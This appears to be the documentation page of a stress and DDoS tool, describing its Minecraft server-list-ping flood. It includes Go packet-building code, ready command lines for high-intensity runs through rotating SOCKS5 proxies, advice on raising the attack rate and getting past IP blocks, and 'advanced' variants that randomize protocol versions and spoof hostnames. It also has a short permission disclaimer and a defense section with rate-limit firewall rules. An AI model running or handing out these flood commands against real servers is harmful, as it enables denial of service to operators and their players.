Minecraft Ping

Overview

Minecraft Ping is a specialized Layer 7 attack designed specifically for Minecraft Java Edition servers. It exploits the Server List Ping protocol by flooding the server with status requests, forcing it to process packet parsing, JSON serialization, and response generation for each request.

This attack uses the legitimate Minecraft protocol and appears as normal server list pings.

How it works

The Minecraft Ping attack implements the official Minecraft Server List Ping protocol:

TCP Connection: Establishes connection to target server (default port 25565)
Handshake Packet: Sends protocol handshake with:
- Packet ID: 0x00
- Protocol Version: 754 (Minecraft 1.16.4+)
- Server Address: Target hostname
- Server Port: Target port
- Next State: 1 (status)
Status Request: Sends status request packet (0x00)
Response Handling: Reads partial response and discards it
Connection Close: Closes connection immediately
Repeat: Each thread continuously sends new ping requests

Minecraft protocol structure

Handshake Packet:
┌─────────────────────────────────────────┐
│ Length (VarInt)                         │
├─────────────────────────────────────────┤
│ Packet ID: 0x00                         │
├─────────────────────────────────────────┤
│ Protocol Version: 754 (VarInt)          │
├─────────────────────────────────────────┤
│ Server Address Length (VarInt)          │
├─────────────────────────────────────────┤
│ Server Address (String)                 │
├─────────────────────────────────────────┤
│ Server Port (Unsigned Short)            │
├─────────────────────────────────────────┤
│ Next State: 0x01 (VarInt)              │
└─────────────────────────────────────────┘

Status Request:
┌─────────────────────────────────────────┐
│ Length: 0x01 (VarInt)                   │
├─────────────────────────────────────────┤
│ Packet ID: 0x00                         │
└─────────────────────────────────────────┘

When to use

Minecraft Ping is effective for:

Minecraft server stress testing: Test your server’s capacity to handle status requests
Query flood simulation: Simulate massive server list queries (like from server lists)
DDoS protection testing: Verify if anti-DDoS plugins (like TCPShield) work correctly
Resource exhaustion: Test server’s JSON serialization and packet handling under load
Plugin stress testing: Test if monitoring/status plugins can handle high request rates

This attack can severely impact Minecraft server performance. Only use on servers you own or have permission to test.

Usage

Basic Minecraft Ping attack (uses default port 25565):

mmb attack minecraft_ping minecraft.example.com

Explicit port specification:

mmb attack minecraft_ping tcp://minecraft.example.com:25565

High-intensity attack:

mmb attack minecraft_ping minecraft.example.com \
  --duration 120 \
  --delay 200 \
  --threads 50 \
  --verbose

Parameters

string

required

Minecraft server hostname or IP. Can include tcp:// prefix and :port suffix.

int

default:"60"

Attack duration in seconds

int

default:"500"

Delay between ping requests in milliseconds per thread

int

default:"512"

Not used in Minecraft Ping (kept for API consistency)

int

default:"0"

Number of concurrent threads (0 = number of CPU cores)

boolean

default:"false"

Show detailed logs for each ping request

boolean

default:"false"

Allow running without proxies (not recommended)

Expected behavior

Console output

Standard mode:

Starting minecraft_ping against minecraft.example.com with 50 proxies
30:15 PPS:125 Total:125 Proxies:50
30:16 PPS:138 Total:263 Proxies:50
30:17 PPS:142 Total:405 Proxies:50

Verbose mode:

Starting minecraft_ping against minecraft.example.com with 50 proxies
Verbose mode enabled - showing detailed attack logs
20:30:15 PPS:125 Total:125 Proxies:50 [SOCKS5 proxy.example.net:1080 -> tcp://minecraft.example.com:25565]
20:30:16 PPS:138 Total:263 Proxies:50 [SOCKS5 proxy2.example.net:1080 -> tcp://minecraft.example.com:25565]

Server-side impact

On the Minecraft server, each ping request causes:

Packet parsing: Deserialize VarInt-encoded handshake packet
Protocol handling: Validate protocol version and state transition

Status generation: Serialize server info to JSON:

{
  "version": {"name": "1.20.4", "protocol": 765},
  "players": {"max": 100, "online": 15},
  "description": {"text": "Server MOTD"},
  "favicon": "data:image/png;base64,..."
}

Response transmission: Send JSON response with VarInt length prefix
Connection cleanup: Close connection and free resources

Technical implementation

Implementation details from internal/attacks/game/minecraft_ping.go:19-73:

Protocol version: Uses 754 (compatible with Minecraft 1.16-1.20+)
VarInt encoding: Custom writeVarInt() implementation
String encoding: Length-prefixed UTF-8 strings via writeString()
Port handling: Defaults to 25565 if target uses scheme-less format with port 80
Response reading: Reads 256 bytes + copies 64 more to prevent buffer clog
Timeout: 3-second deadline for entire operation
Proxy support: Full SOCKS5/HTTP proxy support

Packet construction

// Build handshake packet
var pkt bytes.Buffer
pkt.WriteByte(0x00)                                // packet id
writeVarInt(&pkt, 754)                             // protocol version
writeString(&pkt, host)                            // server address
binary.Write(&pkt, binary.BigEndian, uint16(port)) // server port
writeVarInt(&pkt, 0x01)                            // next state: status

// Frame with length prefix
var framed bytes.Buffer
writeVarInt(&framed, pkt.Len())
framed.Write(pkt.Bytes())

// Send handshake
conn.Write(framed.Bytes())

// Send status request (packet 0x00, length 1)
conn.Write([]byte{0x01, 0x00})

Attack effectiveness

Why Minecraft servers are vulnerable

CPU-intensive: JSON serialization for every ping
Favicon encoding: Base64 PNG encoding in response
Plugin overhead: Many plugins hook into status events
No caching: Most servers regenerate JSON for each request
Query plugins: Additional overhead from query/vote plugins

Server performance impact

At high request rates (500+ pings/sec):

CPU usage spikes (JSON serialization bottleneck)
Network thread saturation
Increased tick time (gameplay lag)
Potential crash if max-tick-time exceeded
Plugin event handlers slow down

Optimizing attack rate

Lower delay: 100-200ms for aggressive attacks
More threads: 50-100 threads typical
More proxies: Harder to IP-block
Longer duration: Sustain pressure over time

Defense mechanisms

If you’re protecting a Minecraft server:

Use DDoS protection

Services like TCPShield, Cosmic Guard, or cloudflare Spectrum specifically protect Minecraft servers.

Rate limit status requests

Plugins like ProtocolLib can limit status requests per IP:

// Example: Max 5 status requests per IP per second

Cache status responses

Implement response caching to avoid repeated JSON serialization.

Firewall rules

Use iptables or cloud firewall to limit connections:

iptables -A INPUT -p tcp --dport 25565 -m state --state NEW \
  -m recent --set
iptables -A INPUT -p tcp --dport 25565 -m state --state NEW \
  -m recent --update --seconds 1 --hitcount 5 -j DROP

Monitor connection rates

Alert when new connection rate exceeds baseline.

Real-world scenarios

Testing server capacity

# Baseline: Normal server list ping rate
mmb attack minecraft_ping mc.example.com \
  --threads 5 \
  --delay 1000 \
  --duration 60

# Medium load: Simulating multiple server lists
mmb attack minecraft_ping mc.example.com \
  --threads 20 \
  --delay 500 \
  --duration 120

# High load: Stress test
mmb attack minecraft_ping mc.example.com \
  --threads 100 \
  --delay 100 \
  --duration 300 \
  --verbose

Validating DDoS protection

# Test if TCPShield/Cosmic Guard blocks attack traffic
mmb attack minecraft_ping protected.mc-server.com \
  --threads 50 \
  --delay 200

# Monitor:
# - Do proxies get blocked?
# - Does legitimate traffic still work?
# - Are there false positives?

Protocol compatibility

Protocol Version 754:

Compatible with Minecraft 1.16 through 1.20+
Works with Paper, Spigot, Purpur, Fabric, Forge servers
BungeeCord and Velocity proxies also vulnerable
Bedrock Edition servers not affected (different protocol)

Comparison with other attacks

vs TCP Flood
vs HTTP Flood

Minecraft Ping:

Protocol-specific, appears legitimate
Triggers server-side processing
Harder to distinguish from real traffic

TCP Flood:

Generic TCP, random data
Minimal server processing
Easier to detect and block

Advanced techniques

Protocol version randomization

Modify the attack to randomize protocol versions to test version validation:

// Current: always uses 754
writeVarInt(&pkt, 754)

// Enhanced: random versions
versions := []int{754, 755, 756, 757, 758, 759}
writeVarInt(&pkt, versions[rand.Intn(len(versions))])

Hostname spoofing

Test virtual host routing by varying the hostname sent:

// Instead of real hostname, send variations
hosts := []string{host, "localhost", "127.0.0.1", "example.com"}
writeString(&pkt, hosts[rand.Intn(len(hosts))])

TCP Flood

Generic TCP flood for any service

HTTP Flood

Layer 7 HTTP request flood

Get Started

Core Concepts

Usage

Attack Methods

Deployment

Development

Help

Overview

How it works

Minecraft protocol structure

When to use

Usage

Parameters

Expected behavior

Console output

Server-side impact

Technical implementation

Packet construction

Attack effectiveness

Defense mechanisms

Real-world scenarios

Testing server capacity

Validating DDoS protection

Protocol compatibility

Comparison with other attacks

Advanced techniques

Protocol version randomization

Hostname spoofing

TCP Flood

HTTP Flood

​Overview

​How it works

​Minecraft protocol structure

​When to use

​Usage

​Parameters

​Expected behavior

​Console output

​Server-side impact

​Technical implementation

​Packet construction

​Attack effectiveness

​Defense mechanisms

​Real-world scenarios

​Testing server capacity

​Validating DDoS protection

​Protocol compatibility

​Comparison with other attacks

​Advanced techniques

​Protocol version randomization

​Hostname spoofing

​Related attack methods

TCP Flood

HTTP Flood

Overview

How it works

Minecraft protocol structure

When to use

Usage

Parameters

Expected behavior

Console output

Server-side impact

Technical implementation

Packet construction

Attack effectiveness

Defense mechanisms

Real-world scenarios

Testing server capacity

Validating DDoS protection

Protocol compatibility

Comparison with other attacks

Advanced techniques

Protocol version randomization

Hostname spoofing

Related attack methods